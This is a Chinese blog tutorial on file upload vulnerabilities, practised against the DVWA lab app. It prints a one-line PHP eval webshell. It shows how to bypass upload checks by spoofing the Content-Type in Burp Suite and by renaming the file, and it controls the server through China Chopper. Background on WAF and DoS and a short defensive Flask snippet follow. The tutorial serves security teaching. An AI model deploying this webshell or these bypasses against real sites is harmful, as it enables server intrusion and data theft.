基于owasp实现文件上传漏洞

本文详细介绍了如何利用文件上传漏洞上传webshell,通过代理技术绕过安全限制,实现在不同安全等级下上传PHP文件,并结合实例演示了如何使用一句话木马和中国菜刀进行远程操作。此外,文章还涵盖了WAF防火墙、CC攻击和DoS攻击的防御策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

理论分析:
网站Web应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个Web可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护。
在这里插入图片描述

<?php @eval(S_POST[’pass’]);?>

一句话木马

步骤

首先,查看靶机ip:192.168.40.108
在这里插入图片描述
本机进入192.168.40.108
在这里插入图片描述
在这里插入图片描述
我们选中 Damn Vulnerable Web App;
用户名:admin 密码:admin
在这里插入图片描述
在这里插入图片描述
左边的目录就是一系列漏洞,Upload就是文件上传漏洞;DVWA Security 可调整靶机的安全程度;View Source 可查看后端源码;
点击upload,进入页面,然后浏览,可以选个比较小的图片上传或者上传一个 一句话木马 php文件。
1.在低安全等级下,我们两个文件都上传成功。
在这里插入图片描述
显示上传成功。
我们在靶机上查看我们上传文件
路径是:
cd /var /www/dvwa/hackble/uploads
在这里插入图片描述
2.在中安全等级下,我们只能上传图片,php文件上传失败。
在这里插入图片描述
我们查看后端源码,发现它限制了上传的类型和大小,只能是image或者jpeg。
在这里插入图片描述
3.在高安全等级下,我们也只能成功上传图片,因为限制了上传类型。
实现在中安全等级下上传php文件
我们同样可以用虚拟机kali进入192.168.40.108
在这里插入图片描述
我们使用kali上的火狐进行代理设置
在这里插入图片描述
代理后,打开burpsuite,启动一个项目,使用默认参数。
在这里插入图片描述
Proxy -->options 选中8080那一行,然后点击edit,选择all interfaces。然后确定。
在这里插入图片描述
这样,我们本机火狐浏览器设置代理后,kali上的burp也能对本机火狐进行代理/拦截。
在这里插入图片描述
本机火狐代理设置,ip地址是装有burp的系统ip;
在这里插入图片描述
Intercept is off 表示拦截功能是关闭的,再点击一下就打开了。

我们使用本机火狐进行访问192.168.40.108;
在upload界面进行拦截。先把burp拦截打开,再上传php文件,发现页面一直出不来。
在这里插入图片描述
打开burp,点击intercept下的drop,raw页面刷新。
在这里插入图片描述
我们看这一行
在这里插入图片描述
Content-type 是指我们上传文件的内容类型(MIME),我们这里将内容类型改为image/jpeg(相当于一个欺骗)
在这里插入图片描述
改好后,点击forward,我们做转发就好了。
然后我们点击火狐查看结果,php文件上传成功。
在这里插入图片描述
我们也可以从靶机上查看我们的php文件上传是否成功。
在这里插入图片描述
成功。

实现在高安全级别上传php文件(文件后缀限制)
我们查看后端源码,发现它限制的是文件的后缀。
在这里插入图片描述
在这里插入图片描述
我们重复拦截步骤。
在这里插入图片描述
我们给php文件加上后缀.jpg
在这里插入图片描述
点击Forward
在这里插入图片描述上传成功。
在靶机上查看
在这里插入图片描述
因为jpg是我们改的,本身不是图片打不开。
在这里插入图片描述
但是用中国菜刀进行连接,只能看到结构,不能进行更改,下载等行为。

Webshell
小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数。(一句话木马(shell1.php)通常连接中国菜刀一起使用)
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵系统检测到
在这里插入图片描述
使用—>调用

’****’中相当于密码

例如:
我们在低级安全下,上传shell2.php文件,并在网页查看此文件;
在这里插入图片描述
在这里插入图片描述
利用phpinfo()函数就打印出了php的版本信息;
同理,上传shell3.php, 并在网页查看此文件;
在这里插入图片描述
在这里插入图片描述
利用ls 命令查看etc下的目录;
在这里插入图片描述

中国菜刀

  1. 在开启vpn条件下,在官网:www.maicaidao.com/下载
  2. 使用时关闭杀毒软件。
  3. 在靶机上传一句话木马,用中国菜刀连接。
    在这里插入图片描述
    右键—》添加 ,输入shell文件地址,进行连接。hacker是shell连接密码(配置是数据库正确的账号和密码,配置后才能打开数据库管理选项)
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    连接成功后,右键—》文件管理,可以看见网站的目录和系统文件。右键—》数据库管理,就可以看到网站的数据库。这里我们文件管理页面可以看见之前上传的三个php文件。我们可以进行上传和下载文件。这里我们上传个图片 6.jpg和文档。
    在这里插入图片描述
    网站扫描,可以进行爬虫,爬取网站结构。

Waf防火墙:
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

CC攻击:(使用waf防火墙防御)
CC(ChallengeCollapsar,挑战黑洞)攻击是DDoS攻击的一种类型,使用代理服务器向受害服务器发送大量貌似合法的请求。CC根据其工具命名,攻击者使用代理机制,利用众多广泛可用的免费代理服务器发动DDoS攻击。许多免费代理服务器支持匿名模式,这使追踪变得非常困难。
CC攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃。CC主要是用来攻击页面的,每个人都有这样的体验:当一个网页访问的人数特别多的时候,打开网页就慢了,CC就是模拟多个用户(多少线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需要大量CPU时间)的页面,造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的连接直至就网络拥塞,正常的访问被中止。

DOS攻击:
DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络宽带攻击和连通性攻击。
DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。

DDOS攻击:
分布式拒绝服务攻击(英文意思是Distributed Denial of Service,简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。
一个完整的DDoS攻击体系由攻击者、主控端、代理端和攻击目标四部分组成。主控端和代理端分别用于控制和实际发起攻击,其中主控端只发布命令而不参与实际的攻击,代理端发出DDoS的实际攻击包。对于主控端和代理端的计算机,攻击者有控制权或者部分控制权.它在攻击过程中会利用各种手段隐藏自己不被别人发现。真正的攻击者一旦将攻击的命令传送到主控端,攻击者就可以关闭或离开网络.而由主控端将命令发布到各个代理主机上。这样攻击者可以逃避追踪。每一个攻击代理主机都会向目标主机发送大量的服务请求数据包,这些数据包经过伪装,无法识别它的来源,而且这些数据包所请求的服务往往要消耗大量的系统资源,造成目标主机无法为用户提供正常服务。甚至导致系统崩溃。

### 文件上传漏洞技术实现防御措施 #### 技术实现 文件上传漏洞的核心在于攻击者能够通过合法或非法手段将恶意文件(如 WebShell)上传至目标服务器并成功执行。以下是具体的技术实现方式: 1. **绕过文件类型验证** 许多应用程序会基于扩展名或 MIME 类型对上传的文件进行过滤。然而,这种机制可能被轻易绕过。例如,某些应用仅检查文件扩展名而未深入分析文件内容,因此可以尝试以下方法: - 使用双扩展名欺骗:`shell.php.jpg` 或 `shell.jsp;1.png` 等[^1]。 - 修改 HTTP 请求中的 Content-Type 字段为允许的 MIME 类型。 2. **利用配置错误** 如果服务器未能正确设置文件存储路径的安全权限,则可能导致已上传的恶意文件具备执行能力。例如,在 PHP 中,如果上传目录位于 web 可访问范围内且启用了动态解析功能,则可以直接运行 `.php` 后缀的文件[^3]。 3. **嵌入恶意代码于图片或其他文件中** 攻击者可通过修改图像文件头信息或将有效载荷附加到正常数据之后的方式创建特制文件。即使经过简单的病毒扫描器检测也可能不触发警报[^2]。 4. **规避大小限制与时间延迟策略** 部分防护机制会对单次请求的数据量加以约束;对此类情况,可采用分片传输或多线程并发提交等方式完成整个 payload 的组装工作。 #### 防御措施 针对上述提到的各种攻击向量,可以从以下几个方面着手加强防范力度: 1. **严格校验输入参数** 对所有来自客户端的信息进行全面审核,不仅限于表面形式上的匹配还要考虑逻辑层面的一致性检验。比如确认实际文件格式确实对应声明的内容类型。 2. **隔离处理环境** 将用户提交资料存放到独立分区或者专用容器内,并关闭该位置对外公开浏览的功能。同时确保任何新增加进去的东西都不拥有脚本解释引擎支持的权利。 3. **启用WAF(Web Application Firewall)** 借助专门设计用来抵御OWASP Top Ten里列举出来的常见风险类型的硬件/软件解决方案——Web 应用防火墙(WAF),它可以实时监控网络流量并对可疑活动作出响应动作,包括但不限于阻断连接、记录日志以及通知相关人员介入调查等等。 4. **定期更新补丁与审计源码质量** 维护人员应该密切关注官方发布的最新版本说明文档,及时修补发现存在的安全隐患之处。另外也要养成良好习惯经常审查自有项目里的每一行关键业务逻辑是否存在潜在缺陷。 ```python import os from flask import Flask, request, redirect, url_for, flash UPLOAD_FOLDER = '/path/to/the/uploads' ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'} app = Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/upload', methods=['POST']) def upload(): if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': flash('No selected file') return redirect(request.url) if file and allowed_file(file.filename): secure_filename_func = lambda fn: "".join([c for c in fn if c.isalnum() or c in ('_', '.')]).rstrip('.') safe_name = secure_filename_func(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], safe_name)) return f"File {safe_name} uploaded successfully." ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M|Young

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值